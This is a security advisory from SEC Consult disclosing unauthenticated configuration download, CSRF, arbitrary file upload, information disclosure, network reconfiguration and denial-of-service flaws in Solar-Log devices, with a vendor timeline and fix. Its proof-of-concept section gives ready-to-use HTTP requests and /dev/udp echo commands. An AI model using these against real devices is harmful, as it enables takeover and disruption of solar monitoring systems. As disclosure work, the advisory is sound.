Solare Datensysteme GmbH Solar-Log versions 250, 300, 500, 800e, 1000, 1000 PM+, 1200, and 2000 suffer from cross site request forgery, cross site scripting, file upload, information disclosure, and denial of service vulnerabilities.
3d7da7086a3bee04a402cfd29ba39c1cSEC Consult Vulnerability Lab Security Advisory < 20170322-0 >
=======================================================================
title: Multiple vulnerabilities
product: Solare Datensysteme GmbH
Solar-Log 250/300/500/800e/1000/1000 PM+/1200/2000
vulnerable version: Firmware 2.8.4-56 / 3.5.2-85
fixed version: Firmware 3.5.3-86
CVE number: -
impact: Critical
homepage: http://www.solar-log.com/de/home.html
found: 2017-01-23
by: T. Weber (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Solare Datensysteme GmbH (SDS) is headquartered in the southern German city
of Binsdorf and specialises in the development and sale of monitoring systems
for photovoltaic plants. The company was founded in 2007 by Thomas Preuhs and
JAPrg Karwath and was created from the company "TOP Solare Datensysteme". This
company had been developing and selling the "SolarLogaC/" product range since
2005. Our core competence covers innovative products with short development
cycles and an excellent cost/performance ratio. Our developments have the
outstanding characteristics of high customer value, simple operation and
universal application without requiring time-consuming installation of
software."
Source: http://www.solar-log.uk/gb-en/unternehmen/ueber-uns.html
Business recommendation:
------------------------
SEC Consult recommends to immediately install the available firmware update
and restrict network access.
Furthermore, this device should not be used in production until a thorough
security review has been performed by security professionals and all
identified issues have been resolved.
Vulnerability overview/description:
-----------------------------------
1) Unauthenticated Download of Configuration including Device-Password
This vulnerability is present at least on firmware 2.8.4-56.
An attacker can download the configuration file without authentication and
extract the password to login to Solar-Log. Therefore, an attacker can gain
administrative access to such a device without prior authentication.
2) Cross-Site Request Forgery (CSRF)
This vulnerability is present at least on firmware 3.5.2-85.
A CSRF vulnerability enables an attacker to remove/modify a password of a
device by luring an authenticated user to click on a crafted link. An attacker
is able to take over the device by exploiting this vulnerability.
3) Unauthenticated Arbitrary File Upload
This vulnerability is present at least on firmware 3.5.2-85.
Any files can be uploaded on the Solar-Log by using a crafted POST request. An
attacker can start a malicious website or use the Solar-Log as share to store
any (illegal) contents.
4) Information Disclosure (CVE-2001-1341)
All Solar-Log devices in the current firmware versions are prone to this
information disclosure vulnerability. (2.8.4-56 / 3.5.2-85)
The network configuration of the internal network including the gateway and
the MAC address of the device are leaked.
All details of the IPC@CHIP from Beck IPC (https://www.beck-ipc.com/) like RTOS
version and serial number are leaked as well.
5) Unauthenticated Change of Network-Configuration
All Solar-Log devices in the current firmware versions are prone to this
vulnerability. (2.8.4-56 / 3.5.2-85)
Since the Solar-Log is based on the chips of Beck IPC a UDP configuration
server is enabled by default. This server allows to change the IP configuration
over a specific UDP port. This functionality can be protected with a password,
but this is not set in the affected firmware versions.
The MAC address, which is leaked by 4), is needed to configure the device.
An attacker can reconfigure the device without any authentication.
6) Unauthenticated Denial of Service
All Solar-Log devices in the current firmware versions are prone to this
vulnerability. (2.8.4-56 / 3.5.2-85)
The Beck IPC UDP configuration server on Solar-Log device can be attacked with
arbitrary UDP packets to permanently disable the Solar-Log until a manual
reboot is triggered.
7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory
Potentially available in all Solar-Log devices in the current firmware
versions. (2.8.4-56 / 3.5.2-85)
Since the "CHIPTOOL" from BECK IPC enables a developer to reprogram the chip
over the network via UDP, a missing password can also enable an attacker to do
this on a Solar-Log device. This action can lead to a simple Denial of Service
or a complex botnet of Solar-Log devices!
Proof of concept:
-----------------
1) Unauthenticated Download of Configuration including Device-Password
The full configuration is exposed by sending the following GET-request:
-------------------------------------------------------------------------------
GET /data/misc.dat HTTP/1.1
Host: <IP-Address>
[...]
-------------------------------------------------------------------------------
Since the response contains the password, an attacker can easily take
control over the device.
2) Cross-Site Request Forgery
By luring the user to issue the following request, the password is removed:
-------------------------------------------------------------------------------
POST /setjp HTTP/1.1
Host: <IP-Address>
preval=none;postval=105;{"221":"0","223":"0","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"}
-------------------------------------------------------------------------------
By luring the user to issue the following request, the password is modified:
-------------------------------------------------------------------------------
POST /setjp HTTP/1.1
Host: <IP-Address>
preval=none;postval=105;{"221":"0","223":"1","224":"<New-Password>","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"}
-------------------------------------------------------------------------------
3) Unauthenticated Arbitrary File Upload
Any files can be uploaded by using the following POST-request:
-------------------------------------------------------------------------------
POST /menu/d_debug_db.html HTTP/1.1
Host: <IP-Address>
[...]
Referer: http://<IP-Address>/menu/d_debug_db.html
Content-Type: multipart/form-data; boundary=--------301473270
Content-Length: 341
----------301473270
Content-Disposition: form-data; name="DESTINATION-PATH"
PoC.html
----------301473270
Content-Disposition: form-data; name="FILE-CONTENT"; filename="file.txt"
Content-Type: text/plain
<html>
<head>
<title>SEC-Test</title>
</head>
<body>
<script>alert("XSS-PoC");</script>
</body>
</html>
----------301473270
Content-Disposition: form-data; name="L_UPLOAD"
Hochladen
----------301473270--
-------------------------------------------------------------------------------
The uploaded content can be reached by this link:
http://<IP-Address>/PoC.html
4) Information Disclosure (CVE-2001-1341)
This vulnerability is a known issue to IPC@CHIP since 2001.
See: http://www.securityfocus.com/bid/2767/info
The following URL can be used to open the "ChipCfg" file on a Solar-Log device:
http://<IP-Address>/ChipCfg
If an attacker is in the same subnet, he can directly request this information
from the device (the device responds to multicast) with the following command:
$ echo -n "0 1 A" >/dev/udp/<Target-IP>/8001
5) Unauthenticated Change of Network-Configuration
By using the following command a change of the network configuration can be
triggerd unauthenticated on UDP port 8001:
$ echo -n "<MAC> 4 2 0 <Desired-IP-Address> <Desired-Netmask> <Desired-Gateway>"
>/dev/udp/<Target-IP>/8001
Example:
$ echo -n "001122334455 4 2 0 192.168.4.5 255.255.255.0 192.168.4.254"
>/dev/udp/192.168.4.9/8001
6) Unauthenticated Denial of Service
By using arbitrary null characters the IPC@CHIP can be pushed into an
undesired state:
$ echo -n "<MAC> 0 <IP-Address> <Netmask> <Gateway> DDDD\0\0"
>/dev/udp/<Target-IP>/8001
Example:
$ echo -n "001122334455 0 192.168.4.5 255.255.255.0 192.168.4.254 DDDD\0\0"
>/dev/udp/192.168.4.5/8001
7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory
This action was not tested against the device. Such attack can brick the
Solar-Log. The worst case scenario would be a botnet exploiting this vulnerability.
A network-dump of the "CHIPTOOL" would be enough to reconstruct the required
UDP packets for the attack.
Vulnerable / tested versions:
-----------------------------
Solar-Log 1200 - 3.5.2-85
Solar-Log 800e - 2.8.4-56
Since the firmware for the other Solar-Log devices is exactly the same,
other devices with the same versions are also prone to the vulnerabilities!
Vendor contact timeline:
------------------------
2017-02-02: Contacting vendor via [email protected], [email protected]
and [email protected].
2017-02-14: Vendor responds and requests the advisory unencrypted; Sent the
advisory unencrypted to the vendor.
2017-02-20: Asked for an update.
2017-02-21: Vendor states that the patch is in development. The update will
be published before 2017-03-24.
2017-03-14: Asked for a status update. Vendor states that the update will
be available on 2017-03-21.
2017-03-20: Vendor sends release notes. New firmware version is 3.5.3 build
86 for all affected Solar-Log devices.
Informing the vendor that the release of the advisory is set to
2017-03-22.
2017-03-22: Public advisory release.
Solution:
---------
Upgrade to firmware 3.5.3-86
http://www.solar-log.com/de/service-support/downloads/firmware.html
Workaround:
-----------
Restrict network access to the devices.
Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
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EOF T. Weber / @2017